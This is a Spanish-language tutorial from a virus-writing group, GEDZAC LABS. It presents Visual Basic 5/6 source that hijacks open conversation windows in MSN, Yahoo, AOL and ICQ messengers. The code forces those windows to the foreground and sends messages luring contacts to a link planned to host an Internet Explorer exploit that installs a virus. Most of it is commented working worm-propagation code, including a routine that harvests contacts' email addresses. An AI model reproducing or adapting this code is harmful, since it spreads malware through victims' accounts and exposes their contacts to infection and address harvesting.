Spam en Programas de Mensageria Instantanea:
---------------------------------------------

Valido: VB 5 y 6
Probado:
 -Msn Messenger 6.1 y 6.2 (Español)
 -Yahoo Messenger 5.6 (Español) y 6.0 (Ingles, Español)
 -Aol Messenger 5.1 (Español)
 -Icq Lite 4.0 e 4.14
-----------------------------

*Este Articulo es una actualización del publicado en www.gedzac.tk, seccion
articulos, para corregir algunos errores y añadirle algunas mejoras

Actualmente mucha gente usa los programas de mensageria instantanea
siendo algunos de los más conocidos el Msn Messenger (msn),
el Yahoo Messenger (yms), el Aol Messenger (aim), el Icq, y el Trillian

Una forma de infectar a los usuarios de estos programas seria enviar
un spam invitandolos a visitar una page, que previamente habremos preparado
con una vulnerabilidad de internet explorer para que se ejecute el virus
apenas sea vista(Usar el bug que más les paresca)

Una forma de hacer eso en el msn seria usar las funciones del msn,
ir al menú proyecto de VB y entrar a Referencias y marcar
Messenger API Type Library, luego usamos este code:

Form1----------------------------------------------------------------------


Private Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long
Private Declare Function PostMessage Lib "user32" Alias "PostMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Private Const VK_RETURN = &HD
Private Const WM_CHAR = &H102
Private Const WM_KEYDOWN = &H100
Private Const WM_KEYUP = &H101

'Definimos msa como un objeto MessengerAPI.Messenger
'este es el objeto principal de las apis del msn
Private WithEvents msa As MessengerAPI.Messenger

'Definimos msc como un objeto MessengerAPI.IMessengerContacts
'lo usamos para acceder a propiedades de los contactos
Private msc As MessengerAPI.IMessengerContacts

'Definimos iMsn como un objeto IMessengerConversationWnd
'lo usamos para acceder a propiedades de las ventanas de conversacion
Dim iMsn As IMessengerConversationWnd

Private Sub Form_Load()
On Error Resume Next

'Creamos el obj MessengerAPI.Messenger
Set msa = New MessengerAPI.Messenger

'Si no lo pudimos crear o no esta conectado (Status = 1) entonces salimos
If (msa Is Nothing) Or (msa.MyStatus = 1) Then Exit Sub

Asignamos a msc los contactos
Set msc = msa.MyContacts

'Empezamos a listar los contactos
For x = 1 To msa.MyContacts.Count - 1

'si el contacto esta conectado (Status <> 1)
If msc.Item(x).Status <> 1 Then

'Abrimos una ventana de conversacion a ese contacto usando su nombre
'de inicio de secion o SigninName(algo importante)
Set iMsn = msa.InstantMessage(msc.Item(x).SigninName)

'Luego pasamos el handle de la ventana de conversacion a SpamMsn
SpamMsn (iMsn.hwnd)

End If

'Esto es importante, aunque no tiene que ver con lo que estamos tratando
'el nombre de inicio de secion del contacto es su direccion de Email
'Osea que asi tambien podemos obtenerla
MsgBox msc.Item(x).SigninName

Next

End Sub

Private Sub SpamMsn(ByVal mHwnd)
On Error Resume Next
Dim l As Long, spam As String

'pos el mensage que enviaremos al contacto
spam = "Infectate en http://www.myserver.com"

'Usamos FindWindowEx para buscar la clase "DirectUIHWND" dentro de la
'ventana de conversacion y obtener el handle que queremos osea el de la
'parte de la ventana donde se digita el texto a enviar
l = FindWindowEx(mHwnd, 0, "DirectUIHWND", vbNullString)

'luego lo digitamos con postmessage
    For i = 1 To Len(spam)
        Call PostMessage(l, WM_CHAR, Asc(Mid(spam, i, 1)), 0)
    Next i

'simulamos un enter con postmessage para enviar el spam
Call PostMessage(l, WM_KEYDOWN, VK_RETURN, 0&)
Call PostMessage(l, WM_KEYUP, VK_RETURN, 0&)

End Sub

Form1----------------------------------------------------------------------


Pero esto tiene sus desventajas, ya que solo funcionara en win9x y winME
(en 1 xp de 4 en los que se probo, funciono, pero teoricamente no deberia)
ademas en winxp no sale en el menu referencias las referencia que deberiamos
usar.

Pero para obtener los mails de los contactos en los 9x y los Me, si podria
servir iniciando un timer(ver más abajo) o un bucle o algo y esperar a que se
conecte al msn el user.

Un punto a favor de esto podria ser que el spam se enviara a todos los
contactos conectados asi el user no este hablando con ellos, pero se
abririan ventanas de conversacion, podria resultar sospechoso.

Habran notado que el code anterior esta explicado muy ligeramente, ya que
no se explica el uso de las apis ni de las constantes, eso porque lo que
interesaba explicar en esa parte, era las funciones del msn.

A continuacion se explicara mas detalladamente apis y eso, en el metodo
para enviar spam del que en verdad trata este articulo.

Usando Las clases de las ventanas:
-----------------------------------
Primero definiremos que es un handle y una clase:

 -Handle: es un identificador numerico diferente que tiene cada ventana
 que este abierta, minimizada, oculta o como sea, tendra un handle

 -Clase: es un identificador o palabra que tiene cada tipo de ventana
 y que la diferencia de otros tipos

 -Ventana Hija(ChildWindow): una ventana, por ejemplo la de conversacion del
 msn, tiene diferentes partes, la parte donde escribimos el texto, donde lo
 vemos, las ventanitas que muestran las imagenes para mostrar, etc, todas
 esas son childwindows y tienen su propio handle y clase.

Ejemplo:
-------
Como ven hay 2 ventanas del notepad y una de conversacion del msn
todas tienen un handle diferente, ya que es un identificador unico
el texto del titulo de la ventana es diferente cosa que no nos importa
la clase de las ventanas del block de notas, sera siempre Notepad
sin importar que archivo estemos abriendo, asi como la de las de conversaci
on del msn sera siempre IMWindowClass no importa con quien estemos hablando.

    Handle        Texto de la ventana           Clase

     1290      Sin Titulo-Block de Notas      "Notepad"
     2089       MiTexto-Block de Notas        "Notepad"
     1456       MiConversacion-Msn            "IMWindowClass"
---------------------------------------------------------------------------

Entonces lo que haremos sera listar todas las ventanas que haya y obtener su
clase, luego comparamos con el nombre de las clases de ventanas de
conversacion de programas de mensageria, si coinciden entonces obtenemos
el handle y lo usamos para buscar dentro de esa ventana la clase de la
ventana hija o childwindow que necesitamos(en este caso la parte donde
escribimos el texto), y obtener el handle de la ChildWindow
Una vez que tenemos el handle, lo usaremos para enviar el spam a la ventana
de conversacion y enviarlo al contacto.

Un programa para visualizar clases, handles, childwindows, lo podemos
descargar de:
http://vbnet.mvps.org/files/demos/enumwindowsdemo.zip

Ahora iniciamos un nuevo proyecto en vb y agregamos un modulo, ademas
del form1

Form1----------------------------------------------------------------------


Private Sub Form_Load()
End Sub

'Un timer para listar las ventanas cada cierto tiempo, ponemos su propiedad
'interval a diez mil desde la ventana de propiedades
Private Sub Timer1_Timer()

'Apagamos el timer
Timer1.Enabled = False

'Definimos x como var integer statica
'Normalmente una var que definimos con Dim dentro de un sub o function
'solo vive hasta que ese sub o function termine, una var statica solo
'morira o solo perdera sus valores cuando termine el programa
Static x As Integer

'si x mayor que 60
If x > 60 Then

'establecemos x a 0 de nuevo
x = 0

'declaramos l como boolean, ya que EnumWindows nos devolvera un valor
'booleano(False ó True , 0 ó 1)
Dim l As Boolean

'Llamamos a la Api EnumWindows para listar las ventanas,
'como primer argumento pasamos el nombre de la funcion a la que debe llamar
'por cada ventana encontrada, usando el operador AddressOf(disponible desde
'vb5) la funcion a la que llamaremos debe residir en un modulo, como segundo
'argumento pasamos 0
'EnumWindows llamara por cada ventana encontrada a la funcion indicada en
'este caso EnumWin y la funcion indicada debe tener una estructura:
'  Public Function EnumWin(ByVal hWnd As Long, lParam As Long) As Boolean
'donde hwnd es el handle de la ventana y lParam el segundo argumento que pa
'samos a EnumWindows
l = EnumWindows(AddressOf EnumWin, ByVal 0&)

'si x menor que 60
Else
'entonces sumamos 1 a x
x = x + 1
End If

'Encendemos el timer
Timer1.Enabled = True
End Sub


Form1----------------------------------------------------------------------

Ahora en el modulo:

Modulo1--------------------------------------------------------------------


'Apis y Constantes que usaremos
Public Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
Public Declare Function EnumWindows Lib "user32" (ByVal lpfn As Long, lParam As Any) As Boolean
Private Declare Function PostMessage Lib "user32" Alias "PostMessageA" (ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Private Declare Function ShowWindow Lib "user32" (ByVal hWnd As Long, ByVal nCmdShow As Long) As Long
Private Declare Function GetForegroundWindow Lib "user32" () As Long
Private Declare Function SetForegroundWindow Lib "user32" (ByVal hWnd As Long) As Long
Private Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long
Private Declare Function EnumChildWindows Lib "user32" (ByVal hWndParent As Long, ByVal lpEnumFunc As Long, ByVal lParam As Long) As Long
Private Declare Function AttachThreadInput Lib "user32" (ByVal idAttach As Long, ByVal idAttachTo As Long, ByVal fAttach As Long) As Long
Private Declare Function GetWindowThreadProcessId Lib "user32" (ByVal hWnd As Long, lpdwProcessId As Long) As Long
Private Declare Function GetClassName Lib "user32" Alias "GetClassNameA" (ByVal hWnd As Long, ByVal lpClassName As String, ByVal nMaxCount As Long) As Long

Private Const SW_RESTORE = 9
Private Const VK_CONTROL = &H11
Private Const VK_RETURN = &HD
Private Const WM_CHAR = &H102
Private Const WM_SYSCHAR = &H106
Private Const WM_KEYDOWN = &H100
Private Const WM_KEYUP = &H101

'Funcion a la que llama EnumWindows
Public Function EnumWin(ByVal hWnd As Long, lParam As Long) As Boolean
On Error Resume Next
Dim l As Long, wnc As String

'DoEvents para darle tiempo a win, para procesar otras cosas
DoEvents

'wnc = a una cadena de 256 espacios
wnc = Space$(256)

'Usamos la Api GetClassName para obtener la clase de la ventana, 1° argumen
'to el handle de la ventana de la cual queremos saber su clase, 2° argumento
'una cadena de 256 espacios en la cual la api devolvera el nombre de la
'clase, 3° argumento la longitud de wnc (256), la api tambien devuelve
'un tipo long en l, que es igual a la longitud del nombre de la clase
l = GetClassName(ByVal hWnd, wnc, Len(wnc))

'Ahora usamos l(la longitud del nombre de la clase), para tomar solo los ca
'racteres necesarios a la izquierda y desacernos de lo que sobre de los
'256 espacios
wnc = Left$(wnc, l)

'si el nombre de la clase contiene a "imwindowclass" entonces encontramos
'una ventana de conversacion de msn
If InStr(LCase(wnc), "imwindowclass") <> 0 Then

'pasamos el handle de la ventana al sub SpamMsn
SpamMsn (hWnd)
End If

'si el nombre de la clase contiene a "imclass" entonces encontramos
'una ventana de conversacion de yahoo messenger
If InStr(LCase(wnc), "imclass") <> 0 Then

'pasamos el handle de la ventana al sub SpamYms
SpamYms (hWnd)
End If

'si el nombre de la clase contiene a "aim_imessage" entonces encontramos
'una ventana de conversacion de aol messenger
If InStr(LCase(wnc), "aim_imessage") <> 0 Then

'Declaramos las variables aw, Whs y Whd como tipo entero largo
Dim aw As Long, Whs As Long, Whd As Long

'la api GetForegroundWindow devuelve el handle de la ventana que este en
'primer plano o que tenga el foco, lo almacenamos en aw
aw = GetForegroundWindow

'Aqui usamos ShowWindow para hacer visible la ventana de conversacion
'(osea maximizarla o ponerla en primer plano), ahora si queremos
'maximizar porque no usamos SW_MAXIMIZE, es porque para enviar el spam
'nesecitamos que el foco del teclado este en la parte de la ventana en que
'se digita el texto a enviar(caja de texto) y si usamos SW_MAXIMIZE
'perdemos el foco en esa parte, entonces usamos SW_RESTORE que restaura la
'ventana a su posicion anterior, y como el user seguro la estuvo usando y el
'foco lo tiene en la caja de texto, pos nos pone la ventana con el foco en
'donde lo necesitamos, recordar que hWnd es el handle de la ventana de
'conversacion
Call ShowWindow(hWnd, SW_RESTORE)

'Si la ventana de conversacion no esta en primer plano, usamos
'api SetForegroundWindow para situarla en primer plano, a esta funcion
'le pasamos el handle de la ventana que queremos tener en primer plano
'en este caso la ventana de conversacion.
'Esto funciona bien en los 9x, pero en los WinXp, 2000, el sistema
'no permite poner una ventana en primer plano en forma arbitraria
'sino que lo que pasaria es que win solo haria que la ventana flasheara
'(osea por ejemplo en una ventana de conversacion de msn, cuando un
'contacto nos habla la ventana si no la tenemos en primer plano se pone
'negra en la barra de tareas, pos algo parecido) osea para avisar al user
'de que vea esa ventana pero no nos la pone en primer plano como
'nesecitamos
If (aw <> hWnd) Then

'Para tenerla en primer plano recurrimos a una treta, primero obtenemos
'el hilo de la ventana que esta activa con la api GetWindowThreadProcessId
'y lo guardamos en Wnd, a esta funcion tenemos que pasarle el handle de la
'ventana que queremos obtener el hilo y un cero en este caso, luego
'obtenemos igual el hilo de la ventana de conversacion y lo guardamos en
'Whs
Whd = GetWindowThreadProcessId(aw, ByVal 0)
Whs = GetWindowThreadProcessId(hWnd, ByVal 0)

'Luego usamos la api AttachThreadInput para atachar, anexar, pegar, el hilo
'de la ventana de conversacion al de la ventana activa, a esta api le
'pasamos 1° el hilo que vamos a anexar, 2° el hilo al que le vamos a anexar
'el otro y 3° True o False dependiendo de si queremos anexar o desanexar, en
'este caso pasamos True para anexar, y ya una vez que window se cree que la 
'ventana de conversacion forma parte de la ventana activa, proseguimos
Call AttachThreadInput(Whs, Whd, True)

'iniciamos bucle para colocar en primer plano a la ventana de conversacion
'con SetForegroundWindow pasandole su handle, y hasta que
'GetForegroundWindow sea = al handle de la ventana de conversacion osea este 
'en primer plano la ventana de conversacion, no salimos de bucle
Do
Call SetForegroundWindow(ByVal hWnd)
Loop Until GetForegroundWindow = hWnd

End If

'Llamamos a la Api EnumChildWindows para
'listar todas las ventanas hijas de la ventana de conversacion de aol
'donde 1° argumento es el handle de la ventana de la que queremos listar
'sus ventanas hijas, 2° argumento la funcion a la que debe llamar por
'cada ventana hija encontrada, y 3° argumento pasamos 0
'La funcion a la que se llame debe residir en un modulo y tener la estruc
'tura:
' Public Function EnumChildProc(ByVal chWnd As Long, ByVal lParam As Long) As Long
'donde chWnd es el handle de la ventana hija, y lParam el 3° argumento pasa
'do a EnumChildWindows
Call EnumChildWindows(ByVal hWnd, AddressOf EnumChildProc, ByVal 0&)

'Dormimos 1 seg.
Sleep 1000

'DesAnexamos la ventana de conversacion, de la ventana que estaba activa
'observese que el tercer parametro es ahora False
Call AttachThreadInput(Whs, Whd, False)

'volvemos a establecer la ventana que estaba en primer plano
Call SetForegroundWindow(aw)

End If

'Cuando trate de ver la clase de las ventanas de conversacion de icq, me
'daba algo de "#32770", entonces eso de que me de un numero me dio
'un mal presentimiento, ya que podia ser un numero aleatorio o calculado
'de alguna manera y que en otras pc fuera diferente, entonces preferi
'tomar el 1° caracter solamente para distinguir(#), que asumo no cambia
'no se si estoy en lo correcto, pero funciona tambien

'si el 1° caracter de la clase es #
If Left$(wnc, 1) = "#" Then

'pasamos el handle a SpamIcq
SpamIcq (hWnd)
End If

'establecemos que EnumWin regrese un valor True
EnumWin = True
End Function


Private Sub SpamMsn(ByVal mHwnd)
On Error Resume Next
Dim l As Long, aw As Long, Whs As Long, Whd As Long, Spam as String
aw = GetForegroundWindow

Call ShowWindow(mHwnd, SW_RESTORE)

If (aw <> mHwnd) Then

Whd = GetWindowThreadProcessId(aw, ByVal 0)
Whs = GetWindowThreadProcessId(mHwnd, ByVal 0)

Call AttachThreadInput(Whs, Whd, True)

Do
Call SetForegroundWindow(ByVal mHwnd)
Loop Until GetForegroundWindow = mHwnd

End If

'el spam que enviara a la conversacion
Spam = "Mira mi virus http://www.myserver.com"

'dormimos un segundo con la api sleep cuyo argumento es un tiempo especifica
'do en milisegundos que nuestra aplicacion estara inactiva (1000/1000 =1seg)
Sleep 1000

'Usamos la api FindWindowEx para buscar la clase de la ventana hija que nece
'sitamos(la parte de la ventana donde se escribe el texto) y obtener su
'handle, en este caso estamos buscando una ventana hija cuya clase sea
'"DirectUIHWND"
'1° argumento handle de la ventana padre donde se buscara la ventana hija
'2° argumento el numero de orden desde el que se empezara a buscar, si
'queremos buscar desde la ventana hija que este en la posicion 2, debemos
'colocar el handle de la ventana hija de posicion 2,colocar 0 para buscar
'desde la primera
'3° argumento el nombre de clase que se buscara, si no se quiere buscar por
'nombre de clase, colocar cadena nula(vbNullString)
'4° argumento el titulo de la ventana que se buscara, si no se quiere
'buscar por titulo colocar cadena nula
'la api devuelve en l un tipo long con el handle si tuvo exito, sino
'devuelve 0
l = FindWindowEx(mHwnd, 0, "DirectUIHWND", vbNullString)

'si l=0 no encontramos nada y salimos
If l = 0 Then Exit Sub

'hacemos un contador for desde 1 hasta la longitud de spam
    For i = 1 To Len(spam)

'usamos api PostMessage para colocar el spam en la ventana de conversacion
'PostMessage se usa para postear un mensage u comando en la cola de mensages
'de otra ventana, y a diferencia de SendMessage no espera respuesta de la
'ventana antes de retornar
'1° argumento el handle de la ventana donde se posteara el msg
'2° argumento, hay varios que se pueden usar segun el comando o msg que se
'quiera enviar y se indican por una constante, (mirar en el visor de api de
'vb la lista de constantes que empiezan con WM_)
'3° y 4° argumento dependen de la constante que se utilize en el 2° y se
'usan para pasar valores necesarios para ejecutar el comando o msg
'por ejemplo si enviamos un comando para cerrar la ventana (WM_CLOSE)
'3° y 4° seran 0, mientras que si colocamos WM_CHAR estamos indicando que
'enviaremos un caracter a la ventana y 3° sera el valor ascii del caracter
'y 4° sera 0
'Con Asc(Mid(Spam, i, 1)) vamos obteniendo el valor ascii de los caracteres
'que enviaremos, a medida que avanza el contador for
        Call PostMessage(l, WM_CHAR, Asc(Mid(spam, i, 1)), 0)
    Next

'Usamos PostMessage para simular un enter, para que finalmente se envie el
'msg colocado con WM_CHAR
'WM_KEYDOWN indica que estamos presionando la tecla que se indica en 3° arg
'que en este caso es VK_RETURN (Enter), 4° arg es 0
Call PostMessage(l, WM_KEYDOWN, VK_RETURN, 0&)

'WM_KEYUP indica que dejamos de presionar la tecla que se indica en 3° arg
'que es el VK_RETURN (Enter)
Call PostMessage(l, WM_KEYUP, VK_RETURN, 0&)

'dormimos 1seg.
Sleep 1000

Call AttachThreadInput(Whs, Whd, False)
Call SetForegroundWindow(aw)
End Sub


Private Sub SpamYms(ByVal yHwnd)
On Error Resume Next
Dim l As Long, aw As Long, Whs As Long, Whd As Long, Spam as String

aw = GetForegroundWindow

Call ShowWindow(yHwnd, SW_RESTORE)

If (aw <> yHwnd) Then

Whd = GetWindowThreadProcessId(aw, ByVal 0)
Whs = GetWindowThreadProcessId(yHwnd, ByVal 0)

Call AttachThreadInput(Whs, Whd, True)

Do
Call SetForegroundWindow(ByVal yHwnd)
Loop Until GetForegroundWindow = yHwnd

End If

spam="Mira http://www.myserver.com"

Sleep 1000

'Aqui buscamos la clase que necesitamos para yahoo 6.0 que es "RICHEDIT20a"
l = FindWindowEx(yHwnd, 0, "RICHEDIT20a", vbNullString)

'si no encontramos capaz este usando yahoo 5.1 cuya clase es "RICHEDIT"
If l = 0 Then l = FindWindowEx(yHwnd, 0, "RICHEDIT", vbNullString)

'si tampoco encontramos, sabe Dios que yahoo estara usando el user, taria
'bueno ponerle un msgbox "Actualiza tu Yahoo" , pero mejor salimos
If l = 0 Then Exit Sub

    For i = 1 To Len(spam)
        Call PostMessage(l, WM_CHAR, Asc(Mid(spam, i, 1)), 0)
    Next

Call PostMessage(l, WM_KEYDOWN, VK_RETURN, 0&)
Call PostMessage(l, WM_KEYUP, VK_RETURN, 0&)

Sleep 1000
Call AttachThreadInput(Whs, Whd, False)
Call SetForegroundWindow(aw)
End Sub


'Esta es la funcion que llama EnumChildWindows, para enviar spam por Aol
Public Function EnumChildProc(ByVal chWnd As Long, ByVal lParam As Long) As Long
On Error Resume Next
Dim l As Long, wnc As String

DoEvents

'obtenemos el nombre de la clase
wnc = Space$(256)
l = GetClassName(ByVal chWnd, wnc, Len(wnc))
wnc = Left$(wnc, l)

'la razon por la cual no usamos FindWindowEx para buscar la clase en esta
'ocasion es porque no funciona con el Aol, prueben y les dara 0, sospecho
'que es porque el aol tiene varias ventanas hijas con el mismo nombre de
'clase

'si es igual a "ate32class" pasamos el handle a SpamAim
If LCase(wnc) = "ate32class" Then
SpamAim (chWnd)
End If

'hacemos que EnumChildProc devuelva 1 o true
EnumChildProc = 1
End Function

'aqui es casi lo mismo que en SpamMsn, solo que ya no usamos findwindowex
'porque la funcion EnumChildProc ya nos pasa el handle de la ventana hija
'ni nos preocupamos de poner la ventana como activa, porque eso ya se hizo
'al listar las ventanas en EnumWin
Private Sub SpamAim(ByVal aHwnd)
On Error Resume Next
Dim spam as String
spam="mira http://www.myserver.com"

Sleep 1000

    For i = 1 To Len(spam)
        Call PostMessage(aHwnd, WM_CHAR, Asc(Mid(spam, i, 1)), 0)
    Next

Call PostMessage(aHwnd, WM_KEYDOWN, VK_RETURN, 0&)
Call PostMessage(aHwnd, WM_KEYUP, VK_RETURN, 0&)
End Sub


'Este es pal icq
Private Sub SpamIcq(iHwnd)

On Error Resume Next
Dim l As Long, aw As Long, Whs As Long, Whd As Long, Spam as String

aw = GetForegroundWindow

If (aw <> iHwnd) Then

Whd = GetWindowThreadProcessId(aw, ByVal 0)
Whs = GetWindowThreadProcessId(iHwnd, ByVal 0)

Call AttachThreadInput(Whs, Whd, True)

Do
Call SetForegroundWindow(ByVal iHwnd)
Loop Until GetForegroundWindow = iHwnd

End If

spam="mira http://www.gedzac.tk"
Sleep 1000

'el nombre de clase que tenemos que buscar aqui es "RICHEDIT20a"
l = FindWindowEx(iHwnd, 0, "RICHEDIT20a", vbNullString)

If l = 0 Then Exit Sub

Call ShowWindow(iHwnd, SW_RESTORE)

    For i = 1 To Len(spam(sr))
        Call PostMessage(l, WM_CHAR, Asc(Mid(spam(sr), i, 1)), 0)
    Next

'En la version de Icq en que probe, para enviar el msg habia que presionar
'alt+enter, pero no me salia el envio de alt+enter, asi que envio
'un Control+S ,simulamos que se presiona la tecla control(VK_CONTROL) con
'WM_KEYDOWN, luego usamos WM_SYSCHAR para enviar 's', se usa WM_SYSCHAR
'para indicar que no se esta enviando el caracter 's', sino que es una
'combinacion de sistema(crtl+letra o alt+letra), luego simulamos que dejamos
'de presionar control con WM_KEYUP
Call PostMessage(l, WM_KEYDOWN, VK_CONTROL, 0&)
Call PostMessage(l, WM_SYSCHAR, Asc("s"), 0&)
Call PostMessage(l, WM_KEYUP, VK_CONTROL, 0&)

Sleep 1000
Call AttachThreadInput(Whs, Whd, False)
Call SetForegroundWindow(aw)
End Sub


Modulo1--------------------------------------------------------------------

(C) Mitosis 3 - GEDZAC LABS